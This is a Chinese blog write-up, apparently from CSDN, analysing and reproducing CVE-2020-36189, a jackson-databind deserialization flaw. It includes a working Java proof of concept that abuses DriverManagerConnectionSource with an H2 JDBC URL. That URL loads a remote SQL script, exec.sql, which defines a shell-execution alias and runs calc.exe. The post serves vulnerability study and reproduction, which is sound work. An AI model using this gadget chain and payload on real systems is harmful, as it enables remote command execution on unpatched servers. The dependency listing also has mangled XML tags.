• CVE-2020-36189 jackson-databind java反序列化漏洞


    漏洞原理

    jackson-databind是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高,目前是Spring MVC中内置使用的解析方式,该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞,导致可执行任意命令。

    jackson使用ObjectMapper作为转换的操作类,通过声明这个类来进行json的序列化与反序列化。

    com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用,通过可控的url进行payload的打入,即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。

    如图是上述package的源码,在1处实现了对url的输入,在2处实现了调用,

    在这里插入图片描述
    所以本次漏洞利用的目标是通过反序列化json串,使项目执行DriverManager.getConnection(),构造参数实现远程执行命令
    本次构建的目标是实现如下命令

    DriverManager.getConnection(实现payload的数据库的url, username, password)
    
    • 1

    在这里插入图片描述

    jbdc(java database connection)是一种java对数据库进行连接增删改查等操作的技术。
    H2数据库是一个开源的内嵌式关系型数据库,此处使用了mem选项,数据直接存放在内存中。
    TRACE_LEVEL_SYSTEM_OUT是某项设置,没有查到。
    INIT=RUNSCRIPT FROM是在数据库连接时执行SQL语句。
    在这里插入图片描述
    上图是SQL语句形式的payload,即创建SHELLEXEC函数以执行。两组$$中间是作为引用将SHELLEXEC函数填写了java函数。

    首先objectmapper.enableDefaultTyping()可以使mapper在读取时,识别除了自然类型(String, Int, Double等)之外的非常量类型,这个名字可以在json中写出,读取时便可以该类存储。
    在这里插入图片描述
    如图所示json字符串是[类名, {参数名:参数值,…,}]的形式,将对象的参数的类名打印,是json中的类名。

    mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false)
    参数设置,对象为空时不抛异常。

    objectmapper.readvalue()将json串转化为了类对象,并将数值按参数填入。
    objectmapper.writeValueAsString()再将对象转换为字符串。
    在这里插入图片描述

    那么为什么getConnection会执行又成了问题,源码太繁琐,工作量太大,换一个思路进行分析。
    首先在userBase类里写下三个函数,分别是pubilic,private和CVE漏洞中本身的使用了java.sql中的Connection类的函数。
    在这里插入图片描述
    根据回显可以看到getConnection进行了执行,其余两项并没有

    在这里插入图片描述

    下载好h2数据库后,之前使用的payload也执行成功
    在这里插入图片描述
    但是如果直接赋值或是使用Class内部的setUsername方法均不会成功,因此推断是使用writeValueAsString序列化对象时会自动调用Connection方法。
    在这里插入图片描述在jackson源码中进行了对类中方法的扫描
    在这里插入图片描述
    源码太过复杂,源码级别分析确实过于困难,只能得出在使用writeValueAsString方法时Connection会自动执行的结论
    首先简化Class,并将setUsername注释,可以看见payload执行成功
    在这里插入图片描述
    将public改为private,payload执行失败

    在这里插入图片描述
    之后取消set方法的注释,payload执行成功
    在这里插入图片描述

    因此该漏洞有两个利用条件:
    –目标类中需要存在Connection方法
    –Connection方法中的DriverManager.getConnection()中的参数需要可控
    以上思路存在于CVE-2020-36179一直到CVE-2020-36189

    漏洞复现

    1、开启MVN项目,填写pom.xml,下载依赖
    在这里插入图片描述
    2、填写payload
    在这里插入图片描述在这里插入图片描述
    3、将sql文件放到http服务上,执行payload使程序获取sql文件,通过反序列化使其执行sql文件内的命令,弹出计算器代表利用成功
    在这里插入图片描述

    附录

    依赖项:

    <dependencies>
            <dependency>
                <groupId>com.fasterxml.jackson.coregroupId>
                <artifactId>jackson-databindartifactId>
                <version>2.9.10.7version>
            dependency>
            
            <dependency>
                <groupId>com.newrelic.agent.javagroupId>
                <artifactId>newrelic-agentartifactId>
                <version>4.9.0version>
            dependency>
            
            <dependency>
                <groupId>com.h2databasegroupId>
                <artifactId>h2artifactId>
                <version>1.4.199version>
            dependency>
    
            <dependency>
                <groupId>org.slf4jgroupId>
                <artifactId>slf4j-nopartifactId>
                <version>1.7.2version>
            dependency>
            
            <dependency>
                <groupId>javax.transactiongroupId>
                <artifactId>jtaartifactId>
                <version>1.1version>
            dependency>
    dependencies>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    POC

    public class POC {
        public static void main(String[] args) throws Exception {
            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
            mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
            String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\"," +
                    " {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/exec.sql'\"}]";
            Object obj = mapper.readValue(json, Object.class);
            mapper.writeValueAsString(obj);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    exec.sql

    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
            return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('calc.exe')
    
    • 1
    • 2
    • 3
    • 4
    • 5
  • 相关阅读:
    PTA题目 前世档案
    Android进阶——Handler底层fd监听之epoll机制
    机器学习(三):多项式回归
    .Net8 Blazor 尝鲜
    使用 NumPy 及其相关库(如 pandas、scikit-learn 等)时,由于 NumPy 的版本不兼容或者某些依赖库与 NumPy 的版本不匹配
    P02014186陈镐镐
    企业架构LNMP学习笔记26
    排序算法(二)
    什么是Bean的循环依赖?解决方案是什么?
    武汉新时标文化传媒有限公司“人+算法”助力短视频发展
  • 原文地址:https://blog.csdn.net/mirocky/article/details/133811431